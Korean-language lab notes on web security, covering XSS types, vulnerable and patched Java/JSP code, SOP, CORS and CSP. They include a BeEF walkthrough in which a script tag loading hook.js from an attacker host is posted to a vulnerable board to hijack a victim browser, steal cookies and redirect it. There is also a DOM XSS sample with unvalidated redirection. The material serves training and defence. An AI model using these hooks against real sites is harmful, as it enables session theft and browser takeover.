XSS와 CSRF 차이점
공격 위치가 다르다. XSS는 사용자의 클라이언트 PC를 공격하고, CSRF는 서버를 공격한다.
http://victim:8080/openeg (id: test / pw :test)
http://victim:8080/WebGoat/attack (id: webgoat / pw: webgoat)
http://beebox/bWAPP (id: bee / pw: bug)
Beef(The Browser Exploitation Framework)
Stored XSS (=Persistent XSS)
악성 스크립트 코드가 서버에 저장되고, 한 번 저장된 스크립트 코드가 불특정 다수의 사용자에게 지속적으로 전달되어 실행될 때 발생된다. 예를 들면 게시물에 악성 스크립트를 포함하여 개제하는 경우 해당 게시물을 조회하는 모든 사용자가 공격받게 된다.
Reflective XSS
입력값이 다음 화면 출력에 그대로 사용되는 경우, 입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 화면 출력에 사용하면 입력값으로 전달된 스크립트 코드가 사용자 브라우저에서 실행된다.
DOM Based XSS
개발자가 작성한 자바스크립트 코드의 취약점을 이용한 공격으로 보안이 취약한 웹 페이지에 악성 스크립트가 포함된 URL 주소를 삽입해 사용자가 URL을 클릭하면 악성 스크립트가 실행된다.
<html>
<head>
<script type="text/javascript">
<!-- URL주소에 해시값이 존재하면 서버로 해시값 경로에 위치한 페이지 요청 -->
const hash = window.location.hash.slice(1)
if (hash) {
window.location.href = decodeURIComponent(hash)
}
<!-- 해시값이 변경될 때마다 서버에 특정 페이지 요청 -->
window.addEventListener('hashchange', function () {
window.location.href = decodeURIComponent(window.location.hash.slice(1))
});
</script>
<title>DOM Based XSS</title>
</head>
<body>
<a id="first" href="#first" class="item">First 바로가기</a>
<!--
해시값 다음에 나오는 값에 대한 검증 구문이 없기 때문에 <a>태그의 href 부분을 조작할 수 있다.
개발자가 의도하지 않은 경로로 유도 가능.
href="사용자가 신뢰하는 페이지 주소#공격자가 만들어놓은 가짜페이지 주소"
-->
</body>
</html>
종료태그가 없는 태그 = 빈 태그
<br>
<img>
<meta>
<link>
<input>
<hr>
Kali Linux > http://victim:8080/openeg > 보안코딩테스트 > XSS
// TestController.java
@RequestMapping(value = "/test/xss_test.do", method = RequestMethod.POST)
@ResponseBody
public String testXss(HttpServletRequest request) {
StringBuffer buffer = new StringBuffer();
String data = request.getParameter("data");
buffer.append(data);
return buffer.toString();
}
// TestController.java
@RequestMapping(value = "/test/xss_test.do", method = RequestMethod.POST)
@ResponseBody
public String testXss(HttpServletRequest request) {
StringBuffer buffer = new StringBuffer();
String data = request.getParameter("data");
// (1) HTML 문서에서 태그로 인식하도록 만들어주는 메타문자를 이스케프 처리
// ~~~~~~~~~~~~~~~~~~
// HTML 인코딩 => 예) < 문자를 HTML 인코딩 => < or < or <
/*
if (data != null) {
data = data.replaceAll("<", "<");
data = data.replaceAll(">", ">");
}
*/
// (2) 검증된 라이브러리를 사용 => lucy xss filter
// - 라이브러리와 룰셋 파일을 프로젝트에 등록(라이브러리 src/main/java)
// - 인스턴스를 생성
// - 필터링
XssFilter filter = XssFilter.getInstance("lucy-xss-superset.xml");
data = filter.doFilter(data);
buffer.append(data);
return buffer.toString();
}
Kali Linux > http://beebox/bWAPP (id: bee / pw: bug) > xss-Reflected(GET)
/var/www/bWAPP/xss_get.php ⇒ 126라인
<?php
if(isset($_GET["firstname"]) && isset($_GET["lastname"])){
$firstname = htmlentities($_GET["firstname"], ENT_QUOTES);
$lastname = htmlentities($_GET["lastname"], ENT_QUOTES);
if($firstname == "" or $lastname == ""){
echo "<font color=\"red\">Please enter both fields...</font>";
}else{
echo "Welcome " . xss($firstname) . " " . xss($lastname);
}
}
?>
스크립트가 문자열 그대로 출력되는 것을 확인할 수 있다.
// TestController.java
@RequestMapping(value = "/test/xss_test_c.do", method = RequestMethod.POST)
@ResponseBody
public String testXssC(HttpServletRequest request) {
StringBuffer buffer = new StringBuffer();
String data = request.getParameter("data");
data = data.replaceAll("<", "<").replaceAll(">", ">");
buffer.append(data);
return buffer.toString();
}
안전한 코드로 변경하는 방법
@RequestMapping(value = "/test/xss_test.do", method = RequestMethod.POST)
@ResponseBody
public String testXss(HttpServletRequest request) {
StringBuffer buffer = new StringBuffer();
String data = request.getParameter("data");
// #1 HTML 문서에서 태그로 인식하도록 만들어주는 메타문자를 이스케프 처리
// ~~~~~~~~~~~~~~~~~~
// HTML 인코딩 => 예) < 문자를 HTML 인코딩 => < or < or <
/*
if (data != null) {
data = data.replaceAll("<", "<");
data = data.replaceAll(">", ">");
}
*/
// #2 검증된 라이브러리를 사용 => lucy xss filter
// - 라이브러리와 룰셋 파일을 프로젝트에 등록
// - 인스턴스를 생성
// - 필터링
XssFilter filter = XssFilter.getInstance("lucy-xss-superset.xml");
data = filter.doFilter(data);
buffer.append(data);
return buffer.toString();
}
만약 luxy로도 필터링이 어려우면 java servlet을 이용하라
Kali Linux에서 Beef 설치
$ sudo apt update
$ sudo apt install -y beef-xss
Beef 실행
$ sudo beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user: # Beef 로그인 시 사용할 패스워드 입력
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Mon 2023-12-18 23:11:31 EST; 5s ago
Main PID: 759637 (ruby)
Tasks: 4 (limit: 2249)
Memory: 92.6M
CPU: 3.968s
CGroup: /system.slice/beef-xss.service
└─759637 ruby /usr/share/beef-xss/beef
Dec 18 23:11:36 kali beef[759637]: == 24 CreateAutoloade…==
Dec 18 23:11:36 kali beef[759637]: == 25 CreateXssraysSc…==
Dec 18 23:11:36 kali beef[759637]: -- create_table(:xssr…s)
Dec 18 23:11:36 kali beef[759637]: -> 0.0019s
Dec 18 23:11:36 kali beef[759637]: == 25 CreateXssraysSc…==
Dec 18 23:11:36 kali beef[759637]: [23:11:35][*] BeEF is…..
Dec 18 23:11:36 kali beef[759637]: [23:11:36][!] [AdminU…ny
Dec 18 23:11:36 kali beef[759637]: [23:11:36] |_ [Ad… !
Dec 18 23:11:36 kali beef[759637]: [23:11:36][!] [AdminU…ny
Dec 18 23:11:36 kali beef[759637]: [23:11:36] |_ [Ad… !
Hint: Some lines were ellipsized, use -l to show in full.
# 아래 URL로 접속하기
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
Beef로 접속하기 http://127.0.0.1:3000/ui/panel
Kali에서 XSS 취약점을 가진 게시판에 hook.js가 실행되도록 스크립트 코드를 추가
http://victim:8080/openeg (id: test / pw :test) > 게시판 > 쓰기
<script src="http://attacker:3000/hook.js"></script>
위 스크립트가 있는 게시물 작성
winXP에서 http://victim:8080/openeg 접속 > 다른 계정으로 로그인 > 게시판 > Kali에서 작성한 게시물 조회
Kali에서 Beef Control Panel에서 확인하면 감염된걸 확인할 수 있다. winXP는 이제 좀비컴퓨터다.
Commands 탭에 Module Tree에 색상별 의미
● : 명령 모듈은 대상에게 작동하며 사용자에게 보이지 않습니다.
● : 명령 모듈이 이 대상에게 작동하는지 아직 확인되지 않았습니다.
● : 명령 모듈은 대상에게 작동하지만 사용자에게 보일 수 있습니다.
● : 명령 모듈이 이 대상에게 작동하지 않습니다.
감염된 PC(winXP)의 쿠키를 가져올 수 있다.
감염된 PC(winXP)를 강제로 다른 페이지로 이동시킬 수 있다.
Hooked Browsers에서 victim 선택 > Commands 탭 > Module Tree > Browser폴더에서 Redirect Browser 클릭 > Redirect Browser URL 변경 > Excute
안전한 코드로 변경하는 방법
(방법1) MVC구조에서 Controller에 해당하는 부분에서 필터링
// BoardController.java
@RequestMapping("/view.do")
public ModelAndView boardView(HttpServletRequest request) {
int idx = Integer.parseInt(request.getParameter("idx"));
BoardModel board = service.getOneArticle(idx);
service.updateHitcount(board.getHitcount() + 1, idx);
List<BoardCommentModel> commentList = service.getCommentList(idx);
ModelAndView mav = new ModelAndView();
mav.addObject("board", board);
mav.addObject("commentList", commentList);
mav.setViewName("/board/view");
return mav;
}
// BoardController.java
@RequestMapping("/view.do")
public ModelAndView boardView(HttpServletRequest request) {
int idx = Integer.parseInt(request.getParameter("idx"));
BoardModel board = service.getOneArticle(idx);
// (1) 조회한 게시판 정보(번호,제목,내용,작성자,..)에서 게시판 내용 추출
String content = board.getContent();
// (2) lucy를 이용해서 안전한 문자열로 변경
XssFilter filter = XssFilter.getInstance("lucy-xss-superset.xml");
content = filter.doFilter(content);
System.out.println("AFTER >>> "+content);
// (3) 안전하게 변경한 내용을 다시 게시판 정보에 추가
board.setContent(content);
service.updateHitcount(board.getHitcount() + 1, idx);
List<BoardCommentModel> commentList = service.getCommentList(idx);
ModelAndView mav = new ModelAndView();
mav.addObject("board", board);
mav.addObject("commentList", commentList);
mav.setViewName("/board/view");
return mav;
}
스크립트가 문자열 그대로 출력되는 것을 확인할 수 있다.
(방법2) MVC구조에서 View에 해당하는 부분에서 필터링
<!-- board/list.jsp -->
<table border="0" class="boardTable">
<thead>
<tr>
<th>글번호</th>
<th>제목</th>
<th>작성자</th>
<th>댓글수</th>
<th>조회수</th>
<th>추천수</th>
<th>작성일</th>
</tr>
</thead>
<tbody>
<c:forEach var="board" items="${boardList}">
<tr>
<td class="idx">${board.rnum}</td>
<td align="left" class="subject">
<c:if test="${board.comment >= 10}"><img src="<%=request.getContextPath()%>/img/hit.jpg" /></c:if>
<a href="view.do?idx=${board.idx}">${board.subject}</a></td>
<td class="writer"><c:choose><c:when test="${board.writerId == userId}"><strong>${board.writer}</strong></c:when><c:otherwise>${board.writer}</c:otherwise></c:choose></td>
<td class="comment">${board.comment}</td>
<td class="hitcount">${board.hitcount}</td>
<td class="recommendcount">${board.recommendcount}</td>
<td class="writeDate">${board.writeDate}</td>
</tr>
</c:forEach>
</tbody>
</table>
<!-- board/list.jsp -->
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<table border="0" class="boardTable">
<thead>
<tr>
<th>글번호</th>
<th>제목</th>
<th>작성자</th>
<th>댓글수</th>
<th>조회수</th>
<th>추천수</th>
<th>작성일</th>
</tr>
</thead>
<tbody>
<c:forEach var="board" items="${boardList}">
<tr>
<td class="idx">${board.rnum}</td>
<td align="left" class="subject">
<c:if test="${board.comment >= 10}"><img src="<%=request.getContextPath()%>/img/hit.jpg" /></c:if>
<a href="view.do?idx=${board.idx}">${board.subject}</a></td>
<td class="writer"><c:choose><c:when test="${board.writerId == userId}"><strong>${board.writer}</strong></c:when><c:otherwise>${board.writer}</c:otherwise></c:choose></td>
<!-- 서버에서 가져오는 DB정보를 jstl에서 c:out태그를 통해 가져오기 -->
<td class="comment"><c:out value="${board.comment}" /></td>
<td class="hitcount"><c:out value="${board.hitcount}" /></td>
<td class="recommendcount" /><c:out value="${board.recommendcount}" /></td>
<td class="writeDate" /><c:out value="${board.writeDate}" /></td>
</tr>
</c:forEach>
</tbody>
</table>
공격 벡터란?
공격자가 네트워크 또는 시스템에 침입하는 방법을 의미
공격 벡터를 줄인다. = 공격할 수 있는 경우의 수를 줄이겠다.
about:blank
또는 javascript:
URL이 있는 페이지에서 실행된 스크립트는 해당 URL이 포함된 문서의 출처를 상속 ⇒ 이런 유형의 URL에는 원본 서버에 대한 정보가 포함되어 있지 않기 때문file:///
스키마 사용 시 출처를 불투명 출처로 간주file:///
스키마를 사용하여 로드한 경우 동일한 폴더에 있는 파일들이라 할지라도 각각의 파일이 서로 다른 출처로 간주된다. ⇒ CORS 오류 발생http://
또는 https://
스키마를 사용하여 파일에 접근해야 SOP를 준수할 수 있다.
file:///
스키마란?
로컬 파일 시스템에 접근하는 방법으로 웹 브라우저에서 file:/// 스키마를 사용하면 컴퓨터의 파일 시스템에 직접 접근 가능
예시)file:///C:/Users/username/Documents/file.txt
http://example.com
에서 호스팅되고 있지만 XMLHttpRequest
나 <img>
를 통해 같은 출처 뿐만 아니라 다른 출처의 리소스를 가져올 수 있다. <script src="…"></script>
를 사용하는 JavaScript. 구문 오류에 대한 오류 세부 정보는 동일 출처 스크립트에서만 사용할 수 있습니다.<link rel="stylesheet" href="…">
로 적용된 CSS. CSS의 완화된 구문 규칙으로 인해 교차 출처 CSS에는 올바른 Content-Type 헤더가 요구됩니다. 브라우저는 MIME 유형이 올바르지 않고 리소스가 유효한 CSS 구성으로 시작하지 않는 교차 출처 로드인 경우 스타일시트 로드를 차단합니다.<img>
로 표시하는 이미지.<video>
와 <audio> (en-US)
로 재생하는 미디어.<object>
와 <embed>
로 삽입하는 외부 리소스.@font-face
로 적용하는 글꼴. 일부 브라우저는 교차 충처를 허용하지만, 다른 브라우드는 동일 출처를 요구할 수도 있습니다.<iframe> (en-US)
으로 삽입하는 모든 것. 사이트는 X-Frame-Options 헤더를 사용하여 출처 간 프레이밍을 방지할 수 있습니다.⇒ 교차 출처로 삽입할 수 있는 리소스 들은 대부분 src
속성을 사용해 외부 리소스 위치를 지정한다.
Access-Control-Allow-Origin
헤더를 사용하여, 리소스 사용 여부 지정서비스를 제공하는 사이트란? JavaScript를 이용해서 요청하는 사이트
Access-Control-Allow-Origin
헤더를 포함시켜 CORS를 지원하도록 설정GET
HEAD
POST
Strict-Transport-Security
응답 헤더를 통해서 제공되는 정보를 이용해 판단default-src 'none';
script-src
'self'
// 믿을 수 있는 Internal 스크립트 코드의 해쉬를 정의
www.googletagmanager.com platform.twitter.com syndication.twitter.com 'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro='
// (다음에 나오는 해쉬값을 가지는) 인라인 스크립트를 허용
'unsafe-hashes'
'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0=';
style-src
'self'
cdnjs.cloudflare.com fonts.googleapis.com
'sha256-5g0QXxO6NfvHJ6Uf5BK/hqQHtso8ZOdjlnbyKtYLvwc=';
font-src
fonts.gstatic.com cdnjs.cloudflare.com;
img-src
'self'
syndication.twitter.com;
frame-src
platform.twitter.com;
connect-src
www.google-analytics.com
<!-- External -->
<script src="(문서 밖의) 스크립트 파일 주소"></script>
<!-- Internal -->
<script>
스크립트 코드
</script>
<!-- Inline -->
<img onclick="스크립트 코드" />
소스코드에 내부에 포함되어 있는 스크립트 코드의 해쉬를 추출
https://report-uri.com/home/hash
window.onload=function(){
var jsNode = document.getElementById("jsNode");
jsNode.innerHTML = "<h3>CSP Not Supported</h3>" Your browser does not support CSP, the inline script executed and replaced this div content";
jsNode.className="alert alert-danger";
}
runHashTest();
<img src="hrrps://unsplash.it/200/200" alt="CSP Should Block This Image From Loading" id="cspImg">